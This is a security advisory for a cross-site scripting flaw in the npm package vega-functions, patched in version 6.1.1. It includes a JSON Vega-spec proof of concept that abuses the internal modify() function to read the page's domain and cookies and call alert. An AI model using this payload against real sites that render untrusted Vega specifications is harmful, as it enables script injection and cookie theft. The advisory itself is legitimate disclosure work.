PT-2026-6450 · Npm · Vega-Functions
Published
2026-01-05
·
Updated
2026-01-05
CVSS v3.1
7.2
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
Impact
For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).
Patches
Fixed in vega-functions
6.1.1Workarounds
There is no workaround besides upgrading. Using
vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.Exploit Proof of Concept
Vega's expression
modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:json
{
"$schema": "https://vega.github.io/schema/vega/v6.json",
"data": [
{
"name": "table",
"values": [
{"category": "A", "amount": 28}
]
}
],
"signals": [
{
"name": "tooltip",
"value": {},
"on": [
{"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow. el.ownerDocument.domain+' , cookies: '+ event.dataflow. el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow. el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
{"events": "rect:pointerout", "update": "{}"}
]
}
]
}Fix
XSS
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Vega-Functions